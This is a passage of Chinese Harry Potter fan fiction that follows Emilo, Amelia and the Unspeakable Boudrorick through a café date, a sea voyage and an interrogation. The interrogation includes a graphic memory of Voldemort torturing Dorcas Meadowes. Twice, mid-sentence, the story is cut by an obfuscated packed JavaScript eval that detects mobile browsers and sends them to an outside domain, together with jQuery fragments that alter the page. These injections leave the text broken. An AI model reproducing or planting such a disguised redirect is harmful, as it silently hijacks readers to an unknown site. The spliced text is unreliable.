所以他精准地,完全不出所料地,会错了伯莎铺垫半天的重点。布德罗里克的声音干涩紧绷,带着一丝不易察觉的颤抖,小心翼翼地问:“那个……被刺佬儿咬的人……他,他后来有没有事?” 伯莎脸上的笑容僵了一瞬,但迅速调整过来,带着一丝不易察觉的挫败:“没有啊!当然没有!他被圣芒戈的治疗师们治好了,一点疤都没留,安全地出院了!”她语气轻快,试图拉回话题,并将自己挖过一勺的蛋糕往布德罗里克那边推了推,眼神带着鼓励,“别光顾着听我说,你尝尝这个!今天的情人节新品,黄油草莓口味的,听说特别棒!” “嗯?”布德罗里克像是被突然点名,吓了一跳,身体猛地绷直,然后又飞快地缩回去,“哦……哦,好的。”他像是面对某种危险魔法物品,极其谨慎地低下头,目光在那块被伯莎挖出一个可爱小缺口的蛋糕上逡巡。 他飞快地抬眼偷瞄了一下伯莎的表情,确认她还在期待地看着自己,这才伸出叉子,小心翼翼地在距离那个缺口最远、最完整的边缘地带,极其吝啬地挖了一丁点奶油和蛋糕胚。 “蛮……蛮好吃的,是吧?”伯莎深吸一口气,重整旗鼓,重新托起腮帮子,眼神亮晶晶地看着他。她似乎觉得对方这样很好玩,于是不再等待,自己又挖了一大块,在布德罗里克刚才挖蛋糕的旁边。 一场奇异而沉默的“领土划分”开始了。两个人你一勺,我一勺,机械地蚕食着那块巨大的蛋糕。伯莎的勺痕大胆而随意,布德罗里克的则总是谨慎地选择“避开她”。随着蛋糕体积的缩小,两人勺子相遇的“前线”越来越近。终于,布德罗里克的叉子无可避免地触碰到了由伯莎制造、如今已被扩大的缺口边缘。 他的手猛地一抖,银叉差点脱手掉在桌上。脸瞬间红得像要滴血,眼神慌乱地扫过伯莎的脸,又迅速垂下。仿佛经过了激烈的思想斗争,他终于鼓起毕生的勇气,以一种近乎英勇就义的姿态,用叉尖极其精准地从那个缺口处,挖走了连接双方“领地”的一小块蛋糕。动作快得几乎带出残影。 “他现在活像一只刚从沸水里捞出来的熟透的虾。”阿米莉亚精准地评价道,语气里充满了不忍直视的同情。 卡座那边,伯莎似乎完全忘却了刚才频道错位的尴尬。也许是因为布德罗里克最终红着脸吃下了那块“边界蛋糕”,女孩儿觉得此时此刻气氛“正好”,于是决定发起新一轮、更直接的暗示。她身体微微前倾,压低声音,带着一种分享秘密的兴奋,眼神灼灼地盯着布德罗里克: “……对了,布德罗里克,我一直很好奇。我听好多人说,在神秘事务司的……嗯,‘爱厅’?能看到两个人之间那种……命运的红线?或者说,缘分的连线?像金色的丝线一样闪闪发光!那是真的吗?” “嗯……我,我没有跟克里克先生(爱厅的缄默人)说过太多话……”布德罗里克的声音依旧细弱蚊蚋,他习惯性地先撇清关系,显得有些局促,“但是,嗯,其实……其实我们的工作,没有大家想象中那么……那么神秘高级……” 他似乎觉得这样说有点贬低自己的部门,容易给对方留下不好的印象,于是下意识地抬眼看了看伯莎。 虽然话题再次偏离了设想,但布德罗里克的话成功伯莎的眼睛瞬间爆发出强烈的光芒,那是一种纯粹的、对未知知识的渴望——属于拉文克劳。这光芒显然意外地鼓励到了布德罗里克。他深吸一口气,就这刚才的话说了下去: “比如预言……大家会觉得它非常神秘,充满宿命感,也有很多巫师觉得它虚假、不可靠,”他的语速依然不快,但比之前流畅了许多,带着一种试图理清复杂概念的专注。 “但其实,它是一种……嗯,情绪魔法,有针对于个体的预言,就是个体情绪魔法。也有的预言,是群体情绪魔法的叠加。” “群体情绪魔法?”伯莎的兴趣被彻底点燃了,她身体前倾,几乎要越过桌面,求知欲像火焰一样燃烧起来,“快跟我说说!这听起来太神奇了!” 她太过激动,下意识地伸出手,一把抓住了布德罗里克放在桌面上紧张蜷缩的手。 “咳咳……你,你等一下。”布德罗里克像是被烫到一样,猛地抽了口气,脸瞬间又红了一个色号。他飞快地把头扭向另一边,肩膀紧绷,仿佛在积蓄勇气,或者是在脑中组织复杂的语言。这个动作持续了足有一分钟之久,久到伯莎以为他又要退缩回壳里,她才试探性地、轻轻地摇了摇被她握住的那只手。 这一摇,仿佛按下了某个开关。布德罗里克猛地转回头,应激一样的继续说道: “我们都知道,不同的魔法,驱动力是不同的。”他的声音低沉下来,带着一种讲解员般的清晰,“最基础的,像飞来咒、清水如泉……它们依靠的是施咒者强烈而集中的意念。幻影移形,考验的是极致的注意力和空间感知力。变形术是空间想象力。” “情绪魔法……比如守护神咒,需要的是纯粹而强大的快乐;大脑封闭术,构筑屏障往往依靠深刻的痛苦;至于不可饶恕咒……它们的燃料是……憎恨。”他顿了顿,声音更沉。 “上面这些,”他总结道,目光变得深邃,“都是个体情绪魔法,力量的来源和效果只与施咒者个人息息相关。预言术……”他微微摇头,“简单来说,它是以那些稀有的预言家家族成员作为载体和传声筒,越是对社会影响大的人,越难以被预言。” “比如我,可能只需要一个人对着梅林的雕像说一句,让布德罗里克消失吧(伯莎瞪了他一眼)……就会消失。但邓布利多校长,想预言他,需要整个巫师群体的意志。 “所以预言,它不是某个‘先知’看到了未来,而是群体的意愿在魔法层面扭曲了现实的某种可能性,并通过预言家之口‘显现’出来。” “这样啊……”伯莎喃喃道,消化着这个颠覆认知的解释。她眼中的浪漫幻想褪去,取而代之的是一种更深沉的思考。 忽然间,她压低了声音,警惕地打量了一圈周围喧闹的情侣们,才凑近布德罗里克,声音轻得几乎只剩气音:“那比如,布德罗里克,如果……如果现在,很多很多人,像我们一样,都强烈地希望这场该死的战争结束……这会影响……吗?”她的眼神里充满了忧虑和期盼。 埃米洛与阿米莉亚隔着桌子,无声地交换了一个眼神。埃米洛不动声色地将后背完全靠进柔软的粉色椅背里,调整了角度,让布德罗里克那变得异常清晰的声音能更顺畅地传入耳中。 “……缄默人不能说这些。” 布德罗里克几乎是条件反射般地低语道,这是刻进骨子里的保密条例。然而,他身上忽然散发出一种无形的压力,仿佛一个被强行压抑了太久的秘密,终于找到了泄洪的闸口,正疯狂地冲击着堤坝。他握着伯莎的手不自觉地收紧了,甚至让伯莎感到一丝疼痛。他闭上了眼睛,浓密的睫毛剧烈地颤抖着,似乎在承受巨大的内心煎熬。 当他再次睁开眼时,那双总是躲闪的眸子里,竟翻涌着一种近乎绝望的、浓得化不开的悲伤与迷茫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010609|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……其实已经有了,”他的声音嘶哑,带着一种泄露天机的沉重,“今年一月份突然出现在预言厅的预言球。关于……‘那位’(You-Know-Who)的……” 伯莎屏住了呼吸。期待着…… “但我不知道内容,伯莎。……保存在神秘事务司的水晶球只有当事人可以查看,我只是保管,维护,记录,整理……” 他的声音里充满了无力和迷茫,“我也不知道现在群体的意志是什么。有人只想停止,渴望片刻的喘息,渴望安宁的生活……有人想要继续战争,不惜一切代价,因为战争让他们发财,让他们获利,这样的人不少,甚至你知道的,很多。”他痛苦地摇了摇头,看向伯莎的眼神充满了歉意和深沉的疲惫。 “这也就是缄默人需要缄默的原因。我们知道会有一个结果,但我们不知道这个结果是否符合自己的构想,相当于知道一个模糊不清、充满变数的‘宿命’。但无力按照自己的意愿改变它。” “……对不起,伯莎。我不该告诉你,让你也陷入这种期待又害怕的循环……但我,我可能也抱着某种期待(希望和平的人更多),同时害怕另一种可能(希望战争获利的人更多)。” “你会怪我吗?”他最后的声音轻得像羽毛,带着一种等待审判的脆弱。 “怎么会呢?”伯莎的声音斩钉截铁,没有一丝犹豫。她猛地站起来,绕过小小的圆桌,在布德罗里克惊愕的目光中,张开手臂,给了他一个坚定而温暖的拥抱。“谢谢你告诉我这些,布德罗里克。真的。我相信,你的,我的,我们的期待会成真的。” …… 那天情人节的咖啡馆之行过后,阿米莉亚明显变得有些心不在焉——就像布德罗里克说的,如果许多宏大的命运走向是由无数个体混沌而分裂的意愿共同推动的,那么身处其中的每一个怀抱着清晰期望的个人,在等待和挣扎的过程中,本身就可能是一种深刻的痛苦。 魔法部冗长的走廊里,阿米莉亚抱着一大摞待处理的卷宗文件,脚步有些沉重。埃米洛迎面跟她打了个招呼,拦住了她。 “我其实可以帮帮你。”他用魔杖尖端虚虚点了点自己的太阳穴,“你知道的,在这方面,我现在算半个专家。不会有任何的问题。” 阿米莉亚的脚步顿住了。她侧过头,厚厚的镜片后,锐利的目光透过冰冷的空气,直直地看向埃米洛。她陷入了短暂的沉默,半晌,她推了推眼镜,镜片反射出一道坚定的光芒,清晰地吐出两个字:“我不要。” 埃米洛安静的等待着她继续往下说。 “我要清醒地看看,”她的声音不高,却带着一种磐石般的决心,“看看这个‘群体’,看看我们为之奋斗的一切,看看它最终会走向何方。看清楚它到底值不值得我付出这么多。” 她挺直了脊背,那摞沉重的文件似乎也无法压弯她,“这份清醒是很多人都不曾拥有的幸运,布德罗里克觉得它是负担。我不这么觉得,我选择承担它。” “如果不值得呢?” “那我会更努力。”阿米莉亚毫不犹豫地回答,语气斩钉截铁,如同立下誓言,“努力去改变它,哪怕只是一点点,这是我进入魔法部的初衷,到如今,从未改变。”她的目光紧紧锁住埃米洛,“……你呢,埃米洛?你会怎么做?” 为了不值得的人或事付出?我会么?我…… “我不会。”埃米洛的声音带着一种近乎无情的决绝,“如果谁让我失望,我不会再浪费时间去想着纠正、感化或者挽回。”他的眉头习惯性地微微蹙起,试图脱离这种假设本身带来的粘稠感,“我会离开,或者……让他们付出代价。” “是么?”阿米莉亚若有所思地盯着他看了许久,那目光锐利得仿佛要剥开他平静表象下的每一层伪装。 “是。”埃米洛斩钉截铁道:“这就是我的真实的样子……也许分院帽错了,我向来审视时度,连斯拉格霍恩也说我该去斯莱特林。” “真实的样子?”她嘴角忽然向上弯起一个微小的、了然于心的弧度,轻轻笑了出来,笑声在空旷的走廊里显得有些突兀。“但你明明一直在这么做。”她的语气带着一种不容置疑的肯定。 “……你从哪里看出来?”埃米洛的眉头蹙得更紧了些,“如果我这么做了,我现在应该在……(凤凰社)开会,或者说早就冲进克劳奇的办公室跟他理论。” “那找你这么说,我现在也该立刻去克劳奇的办公室。” 阿米莉亚认真看着他:“如果你不是这种人,你就不会认真的审阅所有的文件,不会在意你的父母,不会离开傲罗办公室。” “工作是因为我一向认真而且我需要年终奖。父母是因为我恨他们。离开是为了自己,我不想两边都吃力不讨好。” “但你没有上报那些记忆不对劲,而且你用了一种危险的方法,让克劳奇取消了这个职务,你……你帮了我叔……” “失忆真的是意外。”埃米洛打断了她。“后续产生的蝴蝶效应跟我没有一纳特的关系。” “好吧,好吧。你说是什么就是什么。但你为什么一定要拼命自证这些?不过就算你这么说,我也还是保留我的看法。” “……人是会变得。”埃米洛重重靠在墙壁上:“人心会……慢慢长毛,会沉迷于权利,带上面具,最后利益互换成为唯一的准则,假面也焊在脸上。” “是么?”阿米莉亚的笑意更深了,带着一丝洞察的狡黠,“那我就等你真的变了的那一天,再过来找你好好理论一番吧,或者说,给你一拳。” 她腾出一只手,用力拍了拍埃米洛的肩膀。 “不过,埃米洛,你可能想摆脱某种东西,或者给自己树立一个人设。但人会反复踏入同一条河流,因为底色难以改变。”她抱着文件继续向前走去,“这次别再否定我了,我要回去工作了,剩下的我们就看看事实吧。” 23.一颗毛心脏 凌晨三点的公寓被浓稠的夜色浸透,书桌上一盏暖黄色的灯将埃米洛的影子长长地投在墙上。他的面前是一整幅摊开的英国地图,边缘因被魔法浸润而泛着淡淡的珍珠母光泽,四角各自压着一块儿蓝色的增幅石。石头表面流转着水纹般的微光——那是他一周前得到的。 连续的魔力输送让他的额角沁出细密的汗珠,最后顺着鬓角滑落,在苍白的皮肤上划出一道水光。但埃米洛连眨眼都嫌浪费时间,银灰色的魔法丝线正从杖尖缓缓淌出,光缕触及增幅石,让石头骤然亮上了几分,石身随之发出细不可闻的嗡鸣。 魔力丝线如同初春解冻的溪流般试探着蔓延,化作无数毛细血管般的纤细光缕,顺着地图上的河流、山脉、城镇脉络蜿蜒,最终如蛛网般密不透风地覆盖了整个不列颠版图。 桌角的咖啡早已冷却,旁边散落着三张揉皱的羊皮纸草稿,边缘还沾着干涸的褐色血渍——显然这并非第一次尝试。埃米洛深吸一口气,从抽屉里抽出一把银柄小刀,刀刃在灯光下闪过一道冷芒。他没有丝毫犹豫,反手便在食指指腹划开一道细口,鲜红的血珠立刻涌了出来。 他把指尖按在地图下方那个隐秘的咒文凹槽,羊皮纸瞬间像是活物般微微震颤,将血迹吞噬殆尽。淡金色的光芒从咒文处开始扩散,沿着之前铺就的魔法脉络游走,所过之处,地图上的城镇标记逐一亮起,如同黑夜里次第点燃的烛火。 成功了,他抛着一块儿增幅石,冰凉触感透过指尖传来,让他恍惚间又回到了那艘漂泊在海上的商船上。 三月初,港口飘着冷雨,奥黛丽带着他登上了家族的商船,甲板上的盐霜正被雨水泡得发黏。她用"国际魔法合作司的跨境调研"这借口替他请了四个月的长假,福吉立马批复了。 船驶出英吉利海峡的第八个黎明,埃米洛才明白奥黛丽说的"海水不是液体"是什么意思。无人区的海域呈现出诡异的粘稠感,暗绿色的海面泛着金属冷却后的死光,连阳光落进去都会被吞噬,狂风大作,惊涛骇浪。人在茫茫的海面上显得无比渺小。 埃米洛不知道多少次扶着栏杆呕吐,胃里翻江倒海的灼痛让视线都开始发黑,他能清晰地看见自己的倒影浮在那片油墨般的海水里,下方是海怪巨大的黄色眼睛—— 第一个月他不知道打了多少吊瓶。晕船引发的高烧让他浑身滚烫,又总在深夜被甲板缝隙渗进来的海风冻得发抖。船员们看他的眼神像在打量某种能一只手捏死的小动物——毕竟他是"奥黛丽小姐带在身边的小玩意儿"。留着络腮胡的大副总在巡舱时把热气腾腾的格罗格酒塞给他,粗粝的拇指擦过他冷汗涔涔的额头,用带着浓重北欧口音的英语喊他"小甜心",眼底藏着看好戏的戏谑。 船长——也就是奥黛丽的父亲更是视他为空气。这位先生甚至当着他的面摊开羊皮卷,给女儿细数北欧那些适合联姻的纯血家族,哪怕奥黛丽走掉也没有迁怒于他,只是平静的对他说,你该去哄哄她了。 第二个月,他开始适应船上的生活。他去找大副给他分配一些任务,一开始总会因为经验不足给船员们增添点“小麻烦”。 "今天有人赌你撑不过午时的风暴。"大副把他从结冰的缆绳上拉下来时,“你进去休息吧,这里我来。” 埃米洛吐出嘴里的冰碴,手背擦过冻得通红的鼻尖,“……你教教我吧。”他对大副说:“怎么做才能更安全?” “何必没苦硬吃呢?还给别人添麻烦。”大副烦躁的叹了口气,但还是看着奥黛丽小姐的面子上掏出魔杖告诉他该如何做—— 又过了两周,他学会了在颠簸的甲板上精准地拧紧松动的螺栓,学会了用加热咒给冻僵的缆绳除冰,甚至学会了救治一些海里的神奇动物。在海员们赌他会不会晕船时跟着笑笑,然后迅速的给那个人一拳,嘴角扯出个和他们们如出一辙的痞气笑容:"那你们今天得准备好加隆了——你下次押我赢,包你稳赚不赔。" 第三个月开始的时候,他完全跟海员们打成了一片。奥黛丽在某个清晨,靠在结满冰花的围栏上看他用魔法灵活的修补船帆。 "你好像真的打算在这里跟我生活。"她没有戴帽,一刀切的银色短发在风中狂舞, “你不欢迎我么?”。埃米洛对她笑笑,脸在极地惨淡的天光下白得惊人,眼睛里面上凝固的蓝色像是这片死寂灰白中唯一跳动的火焰。 奥黛丽冷哼一声,转身就走,扔给他一袋热蜂蜜牛奶。 但适应和融入只是表面,埃米洛常在深夜被甲板的吱呀声惊醒。躺在狭窄的吊床上时,他总在海浪拍打船身的轰鸣声里想起圣芒戈病床上艾莲娜苍白的脸。有时他会对着舷窗里模糊的倒影发呆——他长大了,长成了三年级时用增龄剂变成的样子。和小巴蒂一样,他的轮廓像母亲艾莲娜,但眼睛的形状与颜色都完完整整复刻了父亲。 奥黛丽总说喜欢他的颜色,却不知道这抹灰蓝色继承自谁;她惊叹于那个蒲公英魔法的绚烂,却不明白那是罗杰当年逗艾莲娜开心的小把戏。这些隐秘像船底的藤壶,悄无声息地附着在他心上,让他在某个浪涌的瞬间突然生出强烈的逃离欲——其实真的留在这里也很好,谁也不知道他的过去,只需要定期给圣芒戈汇钱……某种意义上他确实仁至义尽,是个负责的儿子了。 他也会思考自己这么做和罗杰是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023594|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是很像,同样利用女孩儿去达成自己的目的。想到这些,他便觉得自己的心脏又多了一层薄薄的毛,眼神也和罗杰又相似了那么一点。 别自己内耗,想这些有点没的了好么?心底里另一个声音说,奥黛丽她不是艾莲娜—— 六月初,他们到达了摩尔曼斯克。白色古堡出现在海平面上。石梯顶端,一个黑发青年推着一位坐着轮椅的老太太居高临下的望着他们。他眉眼间带着寒意,黑色斗篷在北欧的寒风里猎猎作响。奥黛丽的目光在两人之间转了个圈,嘴角勾起抹玩味的笑,松开了挽着他手臂的手—— 船队为顺利的航行与成功的交易欢庆。埃米洛被他们拉着也喝了两杯,这里的酒比火焰威士忌还要烈,大副送他回房间:"那是卡卡洛夫家的小子,老爷专门为小姐选的未婚夫,家里在德姆斯特朗占股很多......"话音未落,奥黛丽的父亲就推开了他的房门。 “你们聊。”大副适时退出了屋子。 船长在桌子上拍开十五张照片,再算上奥黛丽当初搭讪的布德罗里克和今天见到的青年,十七张眉眼轮廓相似的脸。他又抽出第十六张照片——那是某天午后,埃米洛蹲在甲板上给奥黛丽讲霍格沃兹趣闻的侧影,被某个船员抓拍下来。 "你和他们都不一样。"老人的手指点在照片上他的脸,语气里带着点居高临下的怜悯,"我知道你这样的小伙子都怎么想。年少时谁都觉得自己独一无二,但我了解我的女儿。" 埃米洛看着船长眼底那副"尽在掌握"的神情,突然觉得好笑。该说果然父母从来都最了解,也最不了解自己的孩子么?船长觉得奥黛丽放不下初恋,所以为她找来了符合女儿心意的联姻对象。 但他不知道即使没有这个男孩儿,奥黛丽也会跟埃米洛提“分手”。她嗅到了自己心底那丝不属于漂泊的念头之后就会与这个根源说再见。就像她喜欢蒲公英,这个女孩儿根本不会为任何情感停留,无论跟初恋多像。 所以当老人递来那个装着四块增幅石的“道歉礼物”时,他没什么犹豫就接了过来。点破这场父女间的博弈对他来说没有任何好处,他一开始要的就是这几块石头。 如果我最后也拥有了一颗毛心脏,我也是出于现实所迫。跟罗杰不一样。他最后这么宽慰自己。 思绪被地图陡然亮起的光芒拉回现实。此刻整幅地图已变成半透明的金色,仿佛把不列颠的灵魂都剥了出来摊在桌上。埃米洛握紧魔杖,指腹按在地图中央那颗最亮的光点上——那是他自己的位置。 最后一步了。他闭上眼,魔杖尖端抵向一边罗杰遗落在二手商店的旧物,手指剧烈的抖动起来…… 24.一只小精灵 四个月足以让埃米洛桌子上的待处理文书摞成摇摇欲坠的小山。他甚至还没来得及拂去最上面那份卷宗的灰尘,一张盖着猩红“紧急”印章的通知就被塞到了他眼前——穆迪在南部边境抓住了塞普蒂默斯·埃弗里。奥格登不在,任务派到了他这里。 塞普蒂默斯·埃弗里。和他同一年级的斯莱特林,西弗勒斯的“朋友”。一个比穆尔赛博更精于伪装的毒蛇。低年级时,他就懂得如何在教授严厉的目光下滴水不漏地撇清自己,笑容谦和,言语圆滑。他对西弗勒斯嘘寒问暖,实则看不起混血,骨子里的轻蔑比穆尔赛博更甚,是真正的“笑面虎”。 魔法部阴冷潮湿的临时审讯室里,空气仿佛凝固着陈旧铁锈的气息。埃米洛在阿米莉亚旁边的椅子上坐下,椅子腿划过石板地面,发出刺耳的刮擦声。 “怎么抓到的?”他问阿米莉亚。 “你回来了啊。”阿米莉亚的声音带着一丝不易察觉的疲惫,将一份厚重的卷宗推到他面前,纸张边缘因频繁翻阅而卷曲。 “过程在这里。这次能抓住他,交通司立了大功。小巴蒂·克劳奇,”她顿了一下,似乎在斟酌措辞,“敏锐地监测到南边飞路网在凌晨特定时段会诡异地断联几秒,立刻上报给了他父亲。父子同住效率确实高得惊人。再晚一秒,埃弗里就彻底消失在飞路网里了。” “但是,”她侧过脸,镜片后的目光锐利地扫过审讯室单向玻璃后那个模糊的人影,声音带着深切的厌恶,“老问题,没有直接证据能钉死他。‘夺魂咒’——又是这个万能的挡箭牌。埃弗里家族的人狡猾得很,他胳膊上干干净净,没有黑魔标记。那边,他们请的律师。” 她朝旁边一个穿着考究、神情倨傲的男巫努了努嘴,“这位衣冠楚楚的先生正用尽浑身解数解救他。今天是最后期限,再撬不开埃弗里的嘴,他又能大摇大摆走出去了。” 审讯室的门被粗暴地推开,老巴蒂·克劳奇大步流星地走进来,脸色如同暴风雨前的海面。他没有多余的寒暄,鹰隼般的目光直接钉在埃米洛身上:“奥格登不在,记忆探查由你执行。立刻开始。”他的命令斩钉截铁。 埃米洛站起身,刚拿起魔杖,旁边那个一直如秃鹫般盯着的埃弗里家族律师立刻像被踩了尾巴的猫,尖利的声音瞬间刺破了压抑的空气:“侵权!这是赤裸裸的侵权!克劳奇先生!你们没有任何证据指控我的当事人,现在却要强行探查他的思想?这是对巫师基本权利的践踏!我要求立刻终止这种非法的程序!我的当事人有权保持沉默,更有权拒绝这种精神层面的侵犯!”他挥舞着手臂,几乎要跳到克劳奇面前,唾沫星子几乎喷到对方僵硬的脸上。 埃弗里本人则靠在椅背上,嘴角挂着一丝混合着得意与嘲讽的弧度,他微微歪头,眼神轻佻地迎上埃米洛的目光,仿佛在欣赏一场闹剧。 “你应该不想看到明天预言家日报上刊登你私自动刑的消息吧,克劳奇司长。”律师抽出几封信件:“今日审讯一结束,他们就会来魔法部采访——” 空气紧绷得像拉满的弓弦。克劳奇脸色铁青,下颌咬得死紧,与律师怒目而视,僵持不下。就在这令人窒息的胶着时刻,审讯室的门再次被推开。 小巴蒂·克劳奇走了进来。他脸上带着一种愉悦的平静,与室内剑拔弩张的气氛格格不入。引人注目的是,他手里提着一个东西——一个穿着脏兮兮枕套、浑身抖得像风中秋叶的家养小精灵。小精灵的大眼睛里盛满了恐惧,长长的鼻子几乎要戳到胸口。 小巴蒂像展示一件有趣的战利品,轻轻一推,将小精灵放在了埃弗里的脚边。他脸上的笑容瞬间冻结,血色以肉眼可见的速度褪去,变得一片灰白。 “我在事发地点附近发现的,”小巴蒂的声音温文尔雅,如同在谈论天气,“他当时躲得很好,差点就溜走了。不过,我想他可能听到了他主人临行前的一些……特别的嘱咐,所以最后还是忍不住回来了,”他微微俯身,盯着那只抖得更厉害的小精灵,“清理了几个没来得及带走的盘子?真是忠心耿耿啊,是不是,埃弗里先生?” 埃弗里嘴唇翕动,发不出任何声音。 小巴蒂转向律师,脸上依旧挂着那副无懈可击的、近乎天真的微笑:“那么,麻烦埃弗里先生命令一下这只小精灵,让他自愿交出那段记忆,可以吗?我想,这不会太为难您吧?”他的眼神直刺对方。 “我不是让你聪明点么?——”沉默的顶点,埃弗里朝家养小精灵大叫。 “埃弗里先生!没有……没有命令皮普不被抓!埃弗里先生只是让皮普回来收拾盘子!皮普没有读懂主人的潜在意思,皮普让艾弗里先生生气了!皮普该死——”小精灵要把自己的头往地上砸,被小巴蒂用两个手指捏了起来。 “不!绝对不行!”律师立刻反应过来,像找到了新的突破口,声音再次拔高,“这同样是侵权!家养小精灵也是魔法生物,拥有基本的……” “侵权?”小巴蒂轻声打断他,脸上的笑容瞬间消失了,只剩下一种令人胆寒的漠然。他向前逼近一步,声音不高,却带着千钧之力,清晰地砸在每个人耳膜上:“对一只家养小精灵?你要跟我讨论一只小精灵的‘精神权利’?我们要不要来翻一翻法典?” “还是在众目睽睽之下,为你当事人的心虚做最后的粉饰?”他歪了歪头,眼神里闪烁着一种近乎疯狂的探究光芒,“是《家养小精灵权益法案》你倒背如流呢?还是……你们害怕他脑子里装着的东西,一旦公之于众,会彻底撕碎你当事人那层可怜又可笑的伪装?” 阿米莉亚瞄准时期,把相关的法律条令递给前方的克劳奇。律师脸色涨红,嘴唇哆嗦着,一时竟找不到反驳的词语。 小巴蒂不再看他,转向埃米洛,脸上重新挂起那种奇异的、带着鼓励意味的笑容,眼睛里兴奋的光芒几乎要溢出来:“学长,请吧。” 他现在这么致力于抓食死徒了?埃米洛点点头走上前,无视埃弗里那怨毒而绝望的目光,将魔杖精准地抵在小精灵剧烈颤抖的太阳穴上。杖尖发出一道柔和的银光,一缕纤细、闪亮的银白色丝状物质被小心翼翼地抽拉出来,如同抽出一段凝固的时光。旁边的魔法部职员立刻捧上了一个冥想盆。 埃米洛没有丝毫犹豫,俯身将那段银丝投入冥想盆中。冥想盆内银色的物质瞬间翻涌起来。他闭上眼睛,将自己的意识沉入那片银色的漩涡。他身边的景象如同被无形的手疯狂撕扯、重组。 他现在需要高速筛选,精准切割,在记忆的洪流中寻找那枚关键的碎片。 小精灵的记忆闪过他的周围,大部分是重复的家务和主人的责骂,它的掌纹越来越多,肤色越来越深……光影飞掠之中,冥想盆的银流突然变得粘稠如血,将埃米洛的意识死死按在一片刺骨的冰冷里。这是小精灵的视角——低矮,晃动,带着一种被恐惧攥紧的震颤。 这是一处阴森、压抑的房间,天花板上吊着一个血淋淋的人影,远远能看出是个女人。鲜血滴答、滴答地落在下方光滑的会议桌上,晕开刺目的暗红。围坐的食死徒都戴着冰冷的面具。几只家养小精灵如同无形的幽灵,在角落无声地忙碌、擦拭,他们的存在被巫师们自动忽略——这是小精灵魔法体系的特性。 他的主视角,也就是这只小精灵皮普。正推着一只锈迹斑斑的铁笼,笼子的栏杆上还挂着几缕干枯的布条,不知是哪次酷刑留下的残骸。铁条间隙渗出暗红的血渍,早已凝固成黑褐色,推起来时“吱呀”作响,像在发出濒死的呻吟。 笼子里蜷缩着一个人,她的巫师袍早已看不出原本的颜色,前襟被划开一道狰狞的裂口,露出的锁骨处有一圈焦黑的烙印,像是被某种灼热的魔法灼烧过,边缘还在微微泛着黑气。左臂以一个诡异的角度搭在膝盖上,显然骨头断了,手腕处的皮肉翻卷着,露出森白的骨茬,血珠正顺着指尖一滴一滴砸在笼子底板上,积成一小滩暗红。最触目的是她的脸——右脸颊上有一道从眉骨划到下颌的鞭痕,结痂的血壳下还在渗着血,左眼被肿胀的眼皮糊住, 她似乎感受到了移动,右眼猛地睁开,亮得像淬了火的刀片,射向埃米洛(皮普)的眼睛。 埃米洛同皮普一起被惊了一下,原因不同。 他认识这个人——是梅多斯,他六年级的黑魔法防御课老师,也是魔法部的傲罗同事。 “再推近些。”伏地魔的声音从阴影里飘出来,带着蛇吐信般的嘶嘶声。他甚至没看笼子,只是用那只苍白的手把玩着一根镶嵌着黑宝石的魔杖,杖尖偶尔闪过一丝绿光。 小精灵的手抖得更厉害了,铁笼撞在石板地上发出“哐当”一声,他吓得立刻缩起脖子。笼子里的多卡斯被这震动晃得闷哼一声,却没抬头,只是将额头抵在冰冷的栏杆上,肩膀微微起伏——那不是哭泣,是强忍剧痛的喘息。 “说,隆巴顿在哪?”伏地魔身边的一个女声说道,头发卷曲的像是水鬼,“别以为你这点小聪明能瞒多久。我知道你上个月去过他们家三次——别告诉我只是去喝下午茶。” 多卡斯没应声。她的右手死死抠着笼子底板的缝隙,指节因为用力而泛白,指甲缝里全是血泥。 伏地魔的耐心显然耗尽了。他抬起魔杖,没有念咒,但一股无形的压力瞬间笼罩了整个笼子。多卡斯的身体猛地绷紧,像被扔进了滚烫的油锅,每一寸肌肉都在痉挛。她的后背剧烈地弓起,头发被冷汗湿透,黏在脖子上,发出压抑到极致的呜咽——但那不是求饶,更像困兽的低吼。旧伤新伤一起崩裂,血顺着笼子的栏杆往下淌,在地面汇成细细的溪流。 小精灵吓得闭上了眼,推笼子的手松了劲,铁笼在地上滑出寸许。他透过指缝偷瞄,看见那些戴面具的食死徒里,有人发出低低的嗤笑,有人用魔杖尖敲着桌面,像是在欣赏一出好戏。 埃米洛的意识像被浸在冰水里。他想起六年级的黑魔法防御术课,多卡斯站在讲台上讲述她对不可饶恕咒的看法,那奠定了许多人对不可饶恕咒的看法,包括他…… 酷刑持续了近十分钟,直到多卡斯的身体软下去,只剩胸口微弱的起伏。女巫走到笼子前,弯下腰,脸几乎贴着栏杆,“最后一次问你,隆巴顿夫妇在哪?” “她是真的不知道,”伏地魔漫不经心的说:“我翻阅过她的记忆了,她的大脑封闭术抵挡不过我的——而你们这些废物……” “抓错人了……”最后一句话他说的缓慢,周围的食死徒不少人都颤抖起来。 多卡斯的头缓缓抬起。血污糊住了她的嘴唇,右眼却死死盯着伏地魔,那里面没有恐惧,只有一片烧尽一切的荒芜和嘲弄。她的喉咙里发出“嗬嗬”的气音,像是在笑,又像是在咳血。 突然,她动了。 不是求饶,不是挣扎。是她那只还能勉强活动的左手,不知从哪攒出的力气,猛地抬起——手指因为失血过多而苍白颤抖,指甲断裂处渗着血,但指尖的方向异常明确:直刺伏地魔的喉咙。 